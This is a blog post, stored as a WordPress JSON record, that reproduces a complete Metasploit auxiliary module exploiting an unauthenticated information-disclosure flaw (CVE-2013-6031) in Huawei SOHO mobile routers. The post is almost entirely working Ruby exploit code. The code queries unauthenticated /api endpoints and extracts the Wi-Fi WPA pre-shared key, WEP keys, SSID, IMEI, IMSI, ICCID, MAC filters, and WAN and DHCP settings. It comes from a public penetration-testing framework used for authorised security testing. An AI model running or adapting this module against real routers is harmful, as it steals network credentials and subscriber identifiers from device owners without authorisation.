{"id":59291,"date":"2024-08-31T22:30:24","date_gmt":"2024-08-31T19:30:24","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180626\/huawei_wifi_info.rb.txt"},"modified":"2024-08-31T22:30:24","modified_gmt":"2024-08-31T19:30:24","slug":"huawei-datacard-information-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/huawei-datacard-information-disclosure\/","title":{"rendered":"Huawei Datacard Information Disclosure"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;base64&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<\/p>\n<p>BASIC_INFO = {<br \/>&#8216;Device Name&#8217; =&gt; \/&lt;DeviceName&gt;(.*)&lt;\\\/DeviceName&gt;\/i,<br \/>&#8216;Serial Number&#8217; =&gt; \/&lt;SerialNumber&gt;(.*)&lt;\\\/SerialNumber&gt;\/i,<br \/>&#8216;IMEI&#8217; =&gt; \/&lt;Imei&gt;(.*)&lt;\\\/Imei&gt;\/i,<br \/>&#8216;IMSI&#8217; =&gt; \/&lt;Imsi&gt;(.*)&lt;\\\/Imsi&gt;\/i,<br \/>&#8216;ICCID&#8217; =&gt; \/&lt;Iccid&gt;(.*)&lt;\\\/Iccid&gt;\/i,<br \/>&#8216;Hardware Version&#8217; =&gt; \/&lt;HardwareVersion&gt;(.*)&lt;\\\/HardwareVersion&gt;\/i,<br \/>&#8216;Software Version&#8217; =&gt; \/&lt;SoftwareVersion&gt;(.*)&lt;\\\/SoftwareVersion&gt;\/i,<br \/>&#8216;WebUI Version&#8217; =&gt; \/&lt;WebUIVersion&gt;(.*)&lt;\\\/WebUIVersion&gt;\/i,<br \/>&#8216;Mac Address1&#8217; =&gt; \/&lt;MacAddress1&gt;(.*)&lt;\\\/MacAddress1&gt;\/i,<br \/>&#8216;Mac Address2&#8217; =&gt; \/&lt;MacAddress2&gt;(.*)&lt;\\\/MacAddress2&gt;\/i,<br \/>&#8216;Product Family&#8217; =&gt; \/&lt;ProductFamily&gt;(.*)&lt;\\\/ProductFamily&gt;\/i,<br \/>&#8216;Classification&#8217; =&gt; \/&lt;Classify&gt;(.*)&lt;\\\/Classify&gt;\/i<br \/>}<\/p>\n<p>WAN_INFO = {<br \/>&#8216;Wan IP Address&#8217; =&gt; \/&lt;WanIPAddress&gt;(.*)&lt;\\\/WanIPAddress&gt;\/i,<br \/>&#8216;Primary Dns&#8217; =&gt; \/&lt;PrimaryDns&gt;(.*)&lt;\\\/PrimaryDns&gt;\/i,<br \/>&#8216;Secondary Dns&#8217; =&gt; \/&lt;SecondaryDns&gt;(.*)&lt;\\\/SecondaryDns&gt;\/i<br \/>}<\/p>\n<p>DHCP_INFO ={<br \/>&#8216;LAN IP Address&#8217; =&gt; \/&lt;DhcpIPAddress&gt;(.*)&lt;\\\/DhcpIPAddress&gt;\/i,<br \/>&#8216;DHCP StartIPAddress&#8217; =&gt; \/&lt;DhcpStartIPAddress&gt;(.*)&lt;\\\/DhcpStartIPAddress&gt;\/i,<br \/>&#8216;DHCP EndIPAddress&#8217; =&gt; \/&lt;DhcpEndIPAddress&gt;(.*)&lt;\\\/DhcpEndIPAddress&gt;\/i,<br \/>&#8216;DHCP Lease Time&#8217; =&gt; \/&lt;DhcpLeaseTime&gt;(.*)&lt;\\\/DhcpLeaseTime&gt;\/i<br \/>}<\/p>\n<p>WIFI_INFO = {<br \/>&#8216;Wifi WPA pre-shared key&#8217; =&gt; \/&lt;WifiWpapsk&gt;(.*)&lt;\\\/WifiWpapsk&gt;\/i,<br \/>&#8216;Wifi Auth mode&#8217; =&gt; \/&lt;WifiAuthmode&gt;(.*)&lt;\\\/WifiAuthmode&gt;\/i,<br \/>&#8216;Wifi Basic encryption modes&#8217; =&gt; \/&lt;WifiBasicencryptionmodes&gt;(.*)&lt;\\\/WifiBasicencryptionmodes&gt;\/i,<br \/>&#8216;Wifi WPA Encryption Modes&#8217; =&gt; \/&lt;WifiWpaencryptionmodes&gt;(.*)&lt;\\\/WifiWpaencryptionmodes&gt;\/i,<br \/>&#8216;Wifi WEP Key1&#8217; =&gt; \/&lt;WifiWepKey1&gt;(.*)&lt;\\\/WifiWepKey1&gt;\/i,<br \/>&#8216;Wifi WEP Key2&#8217; =&gt; \/&lt;WifiWepKey2&gt;(.*)&lt;\\\/WifiWepKey2&gt;\/i,<br \/>&#8216;Wifi WEP Key3&#8217; =&gt; \/&lt;WifiWepKey3&gt;(.*)&lt;\\\/WifiWepKey3&gt;\/i,<br \/>&#8216;Wifi WEP Key4&#8217; =&gt; \/&lt;WifiWepKey4&gt;(.*)&lt;\\\/WifiWepKey4&gt;\/i,<br \/>&#8216;Wifi WEP Key Index&#8217; =&gt; \/&lt;WifiWepKeyIndex&gt;(.*)&lt;\\\/WifiWepKeyIndex&gt;\/i<br \/>}<\/p>\n<p>def initialize(info={})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8220;Huawei Datacard Information Disclosure Vulnerability&#8221;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an unauthenticated information disclosure vulnerability in Huawei<br \/>SOHO routers. The module will gather information by accessing the \/api pages where<br \/>authentication is not required, allowing configuration changes as well as information<br \/>disclosure, including any stored SMS.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Jimson K James&#8217;,<br \/>&#8216;Tom James &lt;tomsmaily[at]aczire.com&gt;&#8217;, # Msf module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;CWE&#8217;, &#8216;425&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2013-6031&#8217;],<br \/>[&#8216;US-CERT-VU&#8217;, &#8216;341526&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-11-11&#8217; ))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RHOST(&#8216;mobilewifi.home&#8217;)<br \/>])<\/p>\n<p>end<\/p>\n<p># Gather basic router information<br \/>def run<br \/>get_router_info<br \/>print_line(&#8221;)<br \/>get_router_mac_filter_info<br \/>print_line(&#8221;)<br \/>get_router_wan_info<br \/>print_line(&#8221;)<br \/>get_router_dhcp_info<br \/>print_line(&#8221;)<br \/>get_wifi_info<br \/>end<\/p>\n<p>def get_wifi_info<\/p>\n<p>print_status(&#8220;Getting WiFi Key details&#8230;&#8221;)<br \/>res = send_request_raw(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/api\/wlan\/security-settings&#8217;,<br \/>})<\/p>\n<p>unless is_target?(res)<br \/>return<br \/>end<\/p>\n<p>resp_body = res.body.to_s<br \/>log = &#8221;<\/p>\n<p>print_status(&#8220;WiFi Key Details&#8221;)<\/p>\n<p>wifi_ssid = get_router_ssid<br \/>if wifi_ssid<br \/>print_status(&#8220;WiFi SSID: #{wifi_ssid}&#8221;)<br \/>log &lt;&lt; &#8220;WiFi SSID: #{wifi_ssid}\\n&#8221;<br \/>end<\/p>\n<p>WIFI_INFO.each do |k,v|<br \/>if resp_body.match(v)<br \/>info = $1<br \/>print_status(&#8220;#{k}: #{info}&#8221;)<br \/>log &lt;&lt; &#8220;#{k}: #{info}\\n&#8221;<br \/>end<br \/>end<\/p>\n<p>report_note(<br \/>:host =&gt; rhost,<br \/>:type =&gt; &#8216;wifi_keys&#8217;,<br \/>:data =&gt; log<br \/>)<br \/>end<\/p>\n<p>def get_router_info<\/p>\n<p>print_status(&#8220;Gathering basic device information&#8230;&#8221;)<br \/>res = send_request_raw(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/api\/device\/information&#8217;,<br \/>})<\/p>\n<p>unless is_target?(res)<br \/>return<br \/>end<\/p>\n<p>resp_body = res.body.to_s<\/p>\n<p>print_status(&#8220;Basic Information&#8221;)<\/p>\n<p>BASIC_INFO.each do |k,v|<br \/>if resp_body.match(v)<br \/>info = $1<br \/>print_status(&#8220;#{k}: #{info}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n<p>def get_router_ssid<br \/>print_status(&#8220;Gathering device SSID&#8230;&#8221;)<\/p>\n<p>res = send_request_raw(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/api\/wlan\/basic-settings&#8217;,<br \/>})<\/p>\n<p># check whether we got any response from server and proceed.<br \/>unless is_target?(res)<br \/>return nil<br \/>end<\/p>\n<p>resp_body = res.body.to_s<\/p>\n<p># Grabbing the Wifi SSID<br \/>if resp_body.match(\/&lt;WifiSsid&gt;(.*)&lt;\\\/WifiSsid&gt;\/i)<br \/>return $1<br \/>end<\/p>\n<p>nil<br \/>end<\/p>\n<p>def get_router_mac_filter_info<br \/>print_status(&#8220;Gathering MAC filters&#8230;&#8221;)<br \/>res = send_request_raw(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/api\/wlan\/mac-filter&#8217;,<br \/>})<\/p>\n<p>unless is_target?(res)<br \/>return<br \/>end<\/p>\n<p>print_status(&#8216;MAC Filter Information&#8217;)<\/p>\n<p>resp_body = res.body.to_s<\/p>\n<p>if resp_body.match(\/&lt;WifiMacFilterStatus&gt;(.*)&lt;\\\/WifiMacFilterStatus&gt;\/i)<br \/>wifi_mac_filter_status = $1<br \/>print_status(&#8220;Wifi MAC Filter Status: #{(wifi_mac_filter_status == &#8216;1&#8217;) ? &#8216;ENABLED&#8217; : &#8216;DISABLED&#8217;}&#8221; )<br \/>end<\/p>\n<p>(0..9).each do |i|<br \/>if resp_body.match(\/&lt;WifiMacFilterMac#{i}&gt;(.*)&lt;\\\/WifiMacFilterMac#{i}&gt;\/i)<br \/>wifi_mac_filter = $1<br \/>unless wifi_mac_filter.empty?<br \/>print_status(&#8220;Mac: #{wifi_mac_filter}&#8221;)<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n<p>def get_router_wan_info<br \/>print_status(&#8220;Gathering WAN information&#8230;&#8221;)<br \/>res = send_request_raw(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/api\/monitoring\/status&#8217;,<br \/>})<\/p>\n<p>unless is_target?(res)<br \/>return<br \/>end<\/p>\n<p>resp_body = res.body.to_s<\/p>\n<p>print_status(&#8216;WAN Details&#8217;)<\/p>\n<p>WAN_INFO.each do |k,v|<br \/>if resp_body.match(v)<br \/>info = $1<br \/>print_status(&#8220;#{k}: #{info}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n<p>def get_router_dhcp_info<br \/>print_status(&#8220;Gathering DHCP information&#8230;&#8221;)<br \/>res = send_request_raw(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; &#8216;\/api\/dhcp\/settings&#8217;,<br \/>})<\/p>\n<p>unless is_target?(res)<br \/>return<br \/>end<\/p>\n<p>resp_body = res.body.to_s<\/p>\n<p>print_status(&#8216;DHCP Details&#8217;)<\/p>\n<p># Grabbing the DhcpStatus<br \/>if resp_body.match(\/&lt;DhcpStatus&gt;(.*)&lt;\\\/DhcpStatus&gt;\/i)<br \/>dhcp_status = $1<br \/>print_status(&#8220;DHCP: #{(dhcp_status == &#8216;1&#8217;) ? &#8216;ENABLED&#8217; : &#8216;DISABLED&#8217;}&#8221;)<br \/>end<\/p>\n<p>unless dhcp_status &amp;&amp; dhcp_status == &#8216;1&#8217;<br \/>return<br \/>end<\/p>\n<p>DHCP_INFO.each do |k,v|<br \/>if resp_body.match(v)<br \/>info = $1<br \/>print_status(&#8220;#{k}: #{info}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n<p>def is_target?(res)<br \/># check whether we got any response from server and proceed.<br \/>unless res<br \/>print_error(&#8220;Failed to get any response from server&#8221;)<br \/>return false<br \/>end<\/p>\n<p># Is it a HTTP OK<br \/>unless res.code == 200<br \/>print_error(&#8220;Did not get HTTP 200, URL was not found&#8221;)<br \/>return false<br \/>end<\/p>\n<p># Check to verify server reported is a Huawei router<br \/>unless res.headers[&#8216;Server&#8217;].match(\/IPWEBS\\\/1.4.0\/i)<br \/>print_error(&#8220;Target doesn&#8217;t seem to be a Huawei router&#8221;)<br \/>return false<br \/>end<\/p>\n<p>true<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;base64&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report BASIC_INFO = {&#8216;Device Name&#8217; =&gt; \/&lt;DeviceName&gt;(.*)&lt;\\\/DeviceName&gt;\/i,&#8216;Serial Number&#8217; =&gt; \/&lt;SerialNumber&gt;(.*)&lt;\\\/SerialNumber&gt;\/i,&#8216;IMEI&#8217; =&gt; \/&lt;Imei&gt;(.*)&lt;\\\/Imei&gt;\/i,&#8216;IMSI&#8217; =&gt; \/&lt;Imsi&gt;(.*)&lt;\\\/Imsi&gt;\/i,&#8216;ICCID&#8217; =&gt; \/&lt;Iccid&gt;(.*)&lt;\\\/Iccid&gt;\/i,&#8216;Hardware Version&#8217; =&gt; \/&lt;HardwareVersion&gt;(.*)&lt;\\\/HardwareVersion&gt;\/i,&#8216;Software Version&#8217; =&gt; \/&lt;SoftwareVersion&gt;(.*)&lt;\\\/SoftwareVersion&gt;\/i,&#8216;WebUI Version&#8217; =&gt; \/&lt;WebUIVersion&gt;(.*)&lt;\\\/WebUIVersion&gt;\/i,&#8216;Mac Address1&#8217; =&gt; \/&lt;MacAddress1&gt;(.*)&lt;\\\/MacAddress1&gt;\/i,&#8216;Mac Address2&#8217; =&gt; \/&lt;MacAddress2&gt;(.*)&lt;\\\/MacAddress2&gt;\/i,&#8216;Product Family&#8217; =&gt; \/&lt;ProductFamily&gt;(.*)&lt;\\\/ProductFamily&gt;\/i,&#8216;Classification&#8217; =&gt; \/&lt;Classify&gt;(.*)&lt;\\\/Classify&gt;\/i} WAN_INFO = {&#8216;Wan &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59291","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59291","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59291"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59291\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59291"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59291"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59291"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}